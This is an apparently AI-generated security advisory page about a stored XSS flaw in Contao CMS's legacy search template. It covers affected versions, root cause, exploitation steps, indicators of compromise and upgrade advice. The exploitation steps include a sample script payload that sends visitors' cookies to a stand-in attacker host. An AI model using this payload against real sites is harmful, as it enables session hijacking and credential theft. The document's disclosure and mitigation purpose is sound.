CVE-2026-104884: 
PHP Análise e mitigação de vulnerabilidades

Visão geral

CVE-2026-104884 is a stored cross-site scripting (XSS) vulnerability in the Contao CMS frontend search results module, classified as Moderate severity with a CVSS v3.1 base score of 5.4. It affects contao/core-bundle versions >= 4.9.0 and < 5.3.50, and >= 5.4.0-RC1 and < 5.7.12. The vulnerability was discovered by researcher @HDWSec, first published on August 25, 2026, and added to the GitHub Advisory Database on November 20, 2026. Patched versions 5.3.50 and 5.7.12 were released on August 25, 2026 (GitHub Advisory).

Detalhes técnicos

The root cause (CWE-79) lies in the legacy HTML5 search template (search_default.html5), which outputs the raw link variable without escaping: <?= $this->link ?> (line 8). A prior hardening commit (23e8cca3136a) correctly escaped the title variable via StringUtil::specialchars(StringUtil::stripInsertTags(...)), but the legacy template never uses that sanitized title variable — it reads link, which ModuleSearch::compile() assigns from the entity-decoded indexed page title without escaping. The modern Twig template (search_default.html.twig) is not affected because Twig auto-escapes output by default; exploitation requires the legacy HTML5 template to be explicitly selected for the search module, which is common on sites migrated from earlier Contao versions (GitHub Advisory).

Impacto

A backend page editor (an authenticated user with page editing permissions) can craft a page title containing malicious JavaScript and store it in the search index. When anonymous front-end visitors or administrators perform a search and view results rendered via the legacy template, the injected script executes in their browsers. This crosses the editor-to-anonymous-visitor trust boundary, enabling session hijacking, credential theft, or further client-side attacks against any user viewing search results (GitHub Advisory).

Explorabilidade

There is no public proof-of-concept and no evidence of in-the-wild exploitation at this time (GitHub Advisory). Exploitation requires an authenticated backend account with page editing privileges and the legacy search_default.html5 template to be active — conditions that limit the attack surface but are common on migrated Contao installations. The vulnerability is not listed in the CISA KEV catalog. No EPSS score data is currently available.

Etapas de exploração

  1. Gain backend access: Obtain a Contao backend account with page editing permissions (e.g., through phishing, credential stuffing, or a compromised editor account).
  2. Identify target configuration: Confirm the target site uses the legacy search_default.html5 template for its search module (common on sites migrated from Contao 4.x or with custom template selections).
  3. Craft malicious page title: Edit or create a page with a title containing an XSS payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Trigger search indexing: Ensure the malicious page is indexed by the Contao search crawler (e.g., by visiting the page or triggering a re-index).
  5. Wait for victim interaction: When any front-end visitor or administrator searches for a term that returns the malicious page in results, the raw link variable echoes the unescaped title, executing the injected script in the victim's browser (GitHub Advisory).

Indicadores de compromisso

  • Logs: Contao backend audit logs showing page title edits containing <script>, javascript:, or HTML event handler attributes (e.g., onerror=, onload=) by editor-level accounts.
  • Database: Entries in the tl_search table where the title or text columns contain raw HTML script tags or JavaScript URIs.
  • Network: Outbound requests from visitor browsers to unexpected external domains shortly after loading search result pages; referrer headers pointing to the Contao search results page.
  • File System: Presence of the legacy template search_default.html5 in the active template directory, confirming the vulnerable configuration is in use.

Mitigação e soluções alternativas

Upgrade contao/core-bundle to version 5.3.50 (for the 5.3.x branch) or 5.7.12 (for the 5.7.x branch), both released on August 25, 2026 (GitHub Advisory, FriendsOfPHP Advisory). As an immediate workaround without upgrading, switch the search module's template from the legacy search_default.html5 to the modern Twig template search_default.html.twig, which auto-escapes output and is not vulnerable. Additionally, restrict backend page editor permissions to trusted users only to reduce the risk of malicious content injection.

Recursos adicionais


Origem: Este relatório foi gerado usando IA

Relacionado PHP Vulnerabilidades:

CVE ID

Gravidade

Pontuação

Tecnologias

Nome do componente

Exploit CISA KEV

Tem correção

Data de publicação

CVE-2026-104883HIGH7.2
  • PHP logoPHP
  • contao/core-bundle
NãoSimNov 20, 2026
GHSA-vw9g-2c4c-g767MEDIUM6.8
  • PHP logoPHP
  • livewire/livewire
NãoSimNov 21, 2026
CVE-2026-104882MEDIUM6.5
  • PHP logoPHP
  • cpe:2.3:a:contao:contao
NãoSimNov 20, 2026
GHSA-2g6w-c7gx-fxj8MEDIUM5.4
  • PHP logoPHP
  • guzzlehttp/guzzle
NãoSimNov 21, 2026
CVE-2026-104884MEDIUM5.4
  • PHP logoPHP
  • composer://contao/contao
NãoSimNov 20, 2026

Avaliação Gratuita de Vulnerabilidades

Avalie a sua postura de segurança na nuvem

Avalie suas práticas de segurança em nuvem em 9 domínios de segurança para avaliar seu nível de risco e identificar lacunas em suas defesas.

Avaliação de solicitação

Recursos adicionais da Wiz

Marque uma demonstração personalizada

Pronto para ver a Wiz em ação?

"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
David EstlickCISO
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
Adam FletcherDiretor de Segurança
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."
Greg PoniatowskiChefe de Gerenciamento de Ameaças e Vulnerabilidades